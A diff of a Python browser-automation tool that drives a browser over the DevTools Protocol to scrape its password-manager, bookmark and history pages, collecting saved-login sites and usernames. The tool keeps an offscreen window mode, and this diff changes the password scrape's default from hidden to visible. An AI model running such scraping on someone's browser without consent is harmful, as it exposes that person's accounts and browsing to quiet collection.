@@ -144,7 +143,7 @@ class RemoteBrowserServer:
|
||||
self.target_id = result["targetId"]
|
||||
self.session = await self.cdp.attach(self.target_id)
|
||||
|
||||
if self.options.mode in {"offscreen", "foreground"}:
|
||||
if self.options.mode == "offscreen":
|
||||
with contextlib.suppress(Exception):
|
||||
window = await self.cdp.send("Browser.getWindowForTarget", {"targetId": self.target_id})
|
||||
self.window_id = int(window["windowId"])
|
||||
@@ -153,9 +152,8 @@ class RemoteBrowserServer:
|
||||
"height": self.options.height,
|
||||
"windowState": "normal",
|
||||
}
|
||||
if self.options.mode == "offscreen":
|
||||
bounds["left"] = self.options.offscreen_left
|
||||
bounds["top"] = self.options.offscreen_top
|
||||
bounds["left"] = self.options.offscreen_left
|
||||
bounds["top"] = self.options.offscreen_top
|
||||
await self.cdp.send("Browser.setWindowBounds", {"windowId": self.window_id, "bounds": bounds})
|
||||
|
||||
async def _enable_target(self) -> None:
|
||||
@@ -176,9 +174,6 @@ class RemoteBrowserServer:
|
||||
"screenHeight": self.options.height,
|
||||
},
|
||||
)
|
||||
if self.options.mode == "foreground":
|
||||
with contextlib.suppress(Exception):
|
||||
await self.session.send("Page.bringToFront")
|
||||
await self.session.send("Page.navigate", {"url": normalize_url(self.options.start_url)})
|
||||
await self.session.send(
|
||||
"Page.startScreencast",
|
||||
|
||||
+16
-11
@@ -9,8 +9,9 @@ from .log import info
|
||||
|
||||
|
||||
HOST_RE = re.compile(
|
||||
r"(?i)\b(?:(?:https?://)?(?:localhost|\d{1,3}(?:\.\d{1,3}){3}|[a-z0-9-]+(?:\.[a-z0-9-]+)*\.[a-z]{2,})(?::\d{2,5})?(?:/[^\s]*)?)"
|
||||
r"(?i)\b(?:(?:https?://)?(?:localhost|\d{1,3}(?:\.\d{1,3}){3}|[a-z0-9_-]+(?:\.[a-z0-9_-]+)*\.[a-z]{2,})(?::\d{2,5})?(?:/[^\s]*)?)"
|
||||
)
|
||||
ACCOUNT_COUNT_RE = re.compile(r"(?i)^(\d+)\s+accounts?$")
|
||||
EXTENSION_ID_RE = re.compile(r"^ID\s*([a-p]{32})$", re.I)
|
||||
VERSION_RE = re.compile(r"^\d+(?:\.\d+)+(?:[._-]\d+)?$")
|
||||
|
||||
@@ -503,7 +504,7 @@ async def collect_password_sites(
|
||||
cdp: CDPClient,
|
||||
*,
|
||||
limit: int,
|
||||
mode: str = "hidden",
|
||||
mode: str = "visible",
|
||||
) -> list[dict[str, Any]]:
|
||||
async def action(session) -> list[dict[str, Any]]:
|
||||
await _wait_for_true(session, PASSWORD_READY_JS, attempts=20)
|
||||
@@ -514,6 +515,13 @@ async def collect_password_sites(
|
||||
raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode)
|
||||
return parse_password_sites(raw, limit)
|
||||
|
||||
try:
|
||||
return await _run_in_webui_model(cdp, password_urls(cdp.endpoint.product), action, mode=mode)
|
||||
except Exception as exc: # noqa: BLE001 - WebUI DOM fallback.
|
||||
info(f"falling back to generic password WebUI scrape: {exc}")
|
||||
raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode)
|
||||
return parse_password_sites(raw, limit)
|
||||
|
||||
|
||||
def flatten_bookmarks(
|
||||
tree: list[dict[str, Any]],
|
||||
@@ -594,14 +602,6 @@ async def collect_bookmarks(
|
||||
raw = await scrape_webui(cdp, bookmark_urls(cdp.endpoint.product), mode=mode)
|
||||
return parse_bookmarks(raw, text=text, domain=domain, limit=limit)
|
||||
|
||||
try:
|
||||
return await _run_in_webui_model(cdp, password_urls(cdp.endpoint.product), action, mode=mode)
|
||||
except Exception as exc: # noqa: BLE001 - Edge WebUI fallback.
|
||||
info(f"falling back to generic password WebUI scrape: {exc}")
|
||||
raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode)
|
||||
return parse_password_sites(raw, limit)
|
||||
|
||||
|
||||
def parse_history(raw: dict[str, Any], text: str | None, domain: str | None, limit: int) -> list[dict[str, Any]]:
|
||||
query = (text or "").lower()
|
||||
domain_l = (domain or "").lower()
|
||||
@@ -733,8 +733,13 @@ def parse_password_sites(raw: dict[str, Any], limit: int) -> list[dict[str, Any]
|
||||
if site.lower() in seen:
|
||||
continue
|
||||
username = None
|
||||
entry_count = None
|
||||
for neighbor in lines[idx + 1 : min(len(lines), idx + 5)]:
|
||||
neighbor_l = neighbor.lower()
|
||||
account_match = ACCOUNT_COUNT_RE.match(neighbor)
|
||||
if account_match:
|
||||
entry_count = int(account_match.group(1))
|
||||
continue
|
||||
if (
|
||||
neighbor_l in CONTROL_LINES
|
||||
or neighbor_l.startswith("--")
|
||||
@@ -746,7 +751,7 @@ def parse_password_sites(raw: dict[str, Any], limit: int) -> list[dict[str, Any]
|
||||
username = neighbor
|
||||
break
|
||||
seen.add(site.lower())
|
||||
out.append({"site": site, "username": username, "source_url": raw.get("url")})
|
||||
out.append({"site": site, "username": username, "entry_count": entry_count, "source_url": raw.get("url")})
|
||||
if len(out) >= limit:
|
||||
break
|
||||
return out
|
||||
|
||||
Reference in New Issue
Block a user